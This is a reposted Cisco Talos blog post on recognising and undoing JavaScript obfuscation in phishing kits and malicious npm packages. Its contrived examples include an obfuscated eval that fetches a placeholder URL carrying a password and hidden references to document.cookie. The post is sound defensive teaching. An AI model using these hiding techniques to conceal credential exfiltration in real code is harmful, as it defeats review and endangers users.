National Cyber Warfare Foundation (NCWF)

JavaScript obfuscation: From party trick to phishing kit


0 user ratings
2026-08-27 11:08:53
milo
Blue Team (CND)
Learn the basics of what obfuscation is, why a researcher would try to reverse it, and several ways to approach the problem.

JavaScript obfuscation: From party trick to phishing kit

We open a JavaScript artifact hoping for code, and instead get string arrays, strangely named functions, encoded URLs, runtime decoders, and eval statements. That is the point where “reading the script” stops being enough. Obfuscated JavaScript is still code, but it is code with the useful context stripped out, the names ruined, the strings hidden, and the real behavior pushed into runtime. It shows up in phishing pages, malware loaders, sketchy browser scripts, and occasionally in legitimate software protection that has wandered into suspicious-looking territory. 

Over the last few years, I’ve spent a fair amount of time pulling apart suspicious JavaScript from phishing kits, malware packages, compromised sites, and other places where the readable source has been deliberately buried. I might not be a world-class JavaScript reverser, but I’ve learned enough useful tricks to make the mess explain itself. 

In this post I’ll be running through what obfuscation is, why we would try to get past it, and some ways to approach the problem. 

Warning: lots of code (and entirely contrived examples) ahead.

Before touching the weird code 

Before doing any of this, assume the sample is hostile. Work on a copy, preserve the original, and do not run unknown JavaScript on your normal machine, in your normal browser profile, or anywhere useful credentials, clipboard contents, SSH agents, npm tokens, cloud credentials, or corporate proxy details are available. 

That includes AI-assisted analysis. AI tools are useful here, and this whole workflow leans on them, but they are not a sandbox and they are not an evidence source by themselves. Use them on isolated snippets, decoded artifacts, and recovered payloads you are comfortable sharing with the tool in front of you. The goal is not to avoid AI; it is to avoid feeding hostile or sensitive material into places you do not control. 

The useful questions are boring, which is why they work: 

  • What does it read? 
  • What does it write? 
  • Where does it connect? 
  • What code does it generate? 
  • What conditions change its behavior? 
  • What happens to a real user, developer, or build runner? 

What counts as obfuscation? 

Let's make some important definitions: 

  • Minification reduces raw code size by shortening identifiers and removing whitespace. 
  • Packing compresses or encodes code and reconstructs it at runtime. 
  • Encoding hides strings or payloads until decoded; encryption does the same with a key involved. 
  • Anti-analysis tries to punish, detect, or mislead the analyst and their tools. 
  • Obfuscation is an overall term for when code is transformed to preserve execution while obscuring intent. 

Not all obfuscation is malicious, but it can be a reason to look more closely. Examples of benign uses include performance bundling/minification, IP protection and anti-tamper controls. 

Examples of suspicious uses are: 

  • Hiding phishing credential exfiltration 
  • Malware loaders 
  • Browser extension abuse 
  • npm package install scripts 
  • Compromised website injections 
  • Fake CAPTCHA and update flows

Why beautifying is not enough 

Beautifying code is useful, but it is not deobfuscation. Tools like Biome or Prettier can restore indentation line breaks and basic readability, so they are usually a sensible first step. What they cannot do is restore original variable names, recover intent, rebuild removed structure, decode runtime strings, or turn a dispatcher loop back into normal logic. 

Beautifying makes the code easier to look at. It does not necessarily make it easier to understand. 

Minification and packing 

Minification takes identifiers like myVeryImportantBusinessFunction and renames them to m. Great for saving bytes; less great when the original name was the only obvious clue about what the function did. 

Packing goes further: Compress or encode the real code, then reconstruct and execute it at runtime. eval() does not care whether the input started life as readable JavaScript, Base64, gzip output, or a custom string table. 

The usual move is to find the unpacking step and capture what comes out. Do not spend too long admiring the wrapper. Replace the execution sink, log the payload, decode the next layer, and keep going.

A practical catalog of nonsense 

Most JavaScript obfuscation is not one grand technique. It is a collection of smaller tricks stacked together until the useful behavior disappears under ceremony. 

I normally group the tricks into a few buckets: 

  • Hiding strings and identifiers 
  • Hiding which APIs are being called 
  • Generating code at runtime 
  • Making the control flow hostile 
  • Detecting or punishing analysis 
  • Adding noise without changing behavior 

Once you can classify the trick, the next move is usually obvious: Decode it, rename it, replace the action-taking functionality, then run it in a controlled harness — or ignore it because it does not affect behavior. 

Static hiding 

This is obfuscation that makes the code harder to understand before it runs, usually by disguising strings, identifiers, API names, or structure so simple reading and searching become less useful. 

String hiding and encoding 

If strings are hidden, the author probably cares about what simple scanning would find. This is especially useful when they need to include things like URLs, authentication tokens, common functions, or other interesting indicators. 

All these lines evaluate into the string "eval":



// Splitting strings 
> 'e'+"va"+'l'
< 'eval'
// Hex encoding
> "\x65\x76\x61\x6c"
< 'eval'
// Character-code reconstruction
> String.fromCharCode(101, 118, 97, 108)
< 'eval'
// Base64 encoding
> atob('ZXZhbA==')
< 'eval'
// Unicode encoding
> "\u0065\u0076\u0061\u006C"
< 'eval'


Another option is arrays of strings joined together. It hides from simple searches but is transparent at runtime. This example turns into `"https://"`, which means a basic string search for URLs may miss it.



> ["ht", "tps", "://"].join("") 
< "https://"


Unicode escaping can also be used to refer to a function — we're doing eval(1+2) here:



> \u0065\u0076\u0061\u006C(0x01+2) 
< 3
// set the variable 'eeee' equal to 1
> const \u0065\u0065\u0065\u0065=1;
> eeee
1


Combine a few of these methods and you get code that hides in plain sight from simple searches, but not from execution. Small blocks like this are also where AI tools can help: decode the string, rename the variables, and explain the resulting behavior. 

Lookup tables and decoder functions 

A common pattern is using identifiers that start with _0x, which makes the code harder to scan quickly. Here's an example:




const _0x1234 = ["fetch", "password", "https://example.com"];
// javascript has a load of different syntaxes for creating functions
_0xabc = (i) => {
return _0x1234[i - 0x10];
}
\u0065\u0076\u0061\u006C(`${_0xabc(16)}(\"${_0xabc(18)}?${_0xabc(17)}\")`)


If you want to do it by hand, the first quick move is renaming things:



const ourSneakyItems = ["fetch", "password", "https://example.com"]; 
function lookup(i) {
return ourSneakyItems[i - 16];
}
eval(`${lookup(16)}(\"${lookup(18)}?${lookup(17)}\")`)


Then you can collapse the lookups into their values:




eval(`fetch("https://example.com?password")`)


Modern IDEs are very handy here. Formatting makes the code less awful to read, and refactoring tools make repeated renaming less error-prone. AI tools can also do this well, assuming you pass in small blocks without stripping away the context needed to understand them. 

Dynamic property access 

JavaScript gives you several ways to refer to the same property:



> window.document.cookie 
> window["document"].cookie
> window["doc" + "ument"]["coo" + "kie"]


This is great for hiding references to sensitive APIs from simple text searches. 

Dead code and noise 

Dead code and distracting noise are common in JavaScript obfuscation. The code may contain fake branches that can never execute, unused functions with dramatic names, pointless arithmetic that always resolves to the same value, bogus conditionals that pretend to make decisions, random strings that look like domains or keys, and helper functions whose only real job is to make you scroll. 

None of it has to be clever. It just has to be annoying enough that you spend time proving it does not matter.

Runtime hiding 

This is obfuscation that only reveals the interesting behavior while the code is running, often by decoding payloads, generating code, checking the environment, or changing behavior based on timers, domains, browsers, or sandbox conditions. 

Runtime code generation 

This is where the code stops merely hiding strings and starts constructing executable behavior at runtime. Packing and encoding often rely on this pattern, because the sample begins with string-like data and then asks the runtime to execute whatever gets reconstructed.

Generated code may come from embedded strings, downloaded payloads, runtime assembly, or less obvious sources such as DOM state or image data. The useful move is to replace execution sinks with logging: Turn eval(payload) into console.log(payload), capture the intermediate code, and analyze that next layer separately.



eval() 
Function()
setTimeout("")


Control-flow flattening 

Another common trick is turning normal program flow into a state machine or dispatcher loop. Instead of reading top-to-bottom as “do this, then that,” the code jumps through numbered states, lookup tables, and artificial branches until the original intent is buried under plumbing. The result is technically readable in the same way a wiring diagram is readable: All the parts are there, but the meaning has been made deliberately hostile. Beautifying makes this neater, but it does not recover the original flow.




let state = 0;
let data = {};
while (state !== 3) {
state = [
() => {
data["p"] = "hunter2";
return 1;
},
() => {
console.log("Sending password:", data["p"]);
return 3;
}
][state]();
}


What that really was:



console.log("Sending password:", "hunter2"); 


Anti-debugging and anti-analysis 

Some obfuscated JavaScript is less interested in being unreadable and more interested in being inconvenient to inspect. It may drop debugger statements into loops, so DevTools keeps tripping over itself, check whether DevTools is open, compare timing differences to spot breakpoints, or look for headless-browser fingerprints such as navigator.webdriver. It may refuse to run outside an expected domain, alter or replace console.log so useful output disappears, probe for sandbox artifacts, or delay execution long enough that a quick scan sees nothing interesting. These tricks are not magic and they are not unbeatable, but they change the analyst’s workload.  

The code may not be trying to hide forever. It may only be trying to outlast the first five minutes of analysis.

JSFuck: Punctuation soup with consequences 

Inspired by BrainFuck, JSFuck is valid JavaScript written using only six characters: [ ] ( ) ! +

It relies on JavaScript type coercion to build values like false, true, undefined, numbers, strings, and eventually executable code. The result looks ridiculous, but it is still valid JavaScript.

Tricks for handling this breed of nonsense:

  • Don’t manually decode it by staring at it.
  • Recognize it, then use a decoder or controlled runtime capture.
  • Look for what it produces, not how elaborate the construction is.

For more complicated samples, I’ve had success using headless Chrome in a debugging harness and pulling the real code out of runtime state. It’s messy, but it beats treating the punctuation as the interesting part.

javascript-obfuscator: the practical nuisance 

You are less likely to meet a hand-crafted masterpiece of JavaScript weirdness and more likely to meet output from tools like the npm package “javascript-obfuscator” or “obfuscator[.]io”. 

These tools automate the usual techniques: identifier renaming, string-array extraction, string encoding, string rotation, control-flow flattening, dead-code injection, debug protection, self-defending code, domain locks, and console output disablement. 

The result is not necessarily sophisticated, but it is practical and repeatable. Rather than understanding every trick individually, a phishing kit author or malware operator can run the code through a tool and produce something that is slower to read, harder to search, more annoying to debug, and more likely to survive casual inspection. 

When the browser is not the victim 

The npm version is more serious because the browser is no longer the only execution environment. Package scripts can run during install, so preinstall, postinstall, build hooks, and even test scripts become interesting places to hide behavior. 

In Node, obfuscated JavaScript can reach process.env, the file system, child processes, home directories, npm tokens, GitHub tokens, SSH keys, and CI variables. Browser-only assumptions break badly here: “What does it read?” stops meaning cookies and form fields, and starts meaning, “What secrets did the build runner have lying around?”

The shape of the workflow 

The full workflow deserves its own article, because this is where tooling starts to matter. The short version is: 

  1. Preserve the original. 
  2. Make a safe working copy. 
  3. Beautify only as a first pass. 
  4. Extract strings. 
  5. Identify execution sinks. 
  6. Capture generated payloads. 
  7. Observe behavior in a controlled environment. 
  8. Repeat until the code stops hiding behind ceremony. 

That process is boring on purpose. Obfuscation wants you to improvise, stare at weird bits, and get dragged into fake complexity. A repeatable workflow turns the mess into smaller jobs: Decode this, rename that, log this sink, compare these strings, explain this branch, prove whether this behavior actually runs. 

AI helps inside that loop. It can explain an isolated decoder, rename variables, collapse a lookup table, summarize a recovered payload, compare variants, or help document the analysis — but it is not a magic malware oracle, and it is definitely not a sandbox. 

That applies whether the sample is a phishing page, a malicious npm package, a compromised dependency, or a JavaScript loader handing work off to WASM. The shapes change, but the job is the same: Turn hidden behavior into observable behavior. 



Source: Cisco Talos
Source Link: https://blog.talosintelligence.com/javascript-obfuscation-from-party-trick-to-phishing-kit/


Comments
new comment
Nobody has commented yet. Will you be the first?
 
Forum
Blue Team (CND)



Copyright 2012 through 2026 - National Cyber Warfare Foundation - All rights reserved worldwide.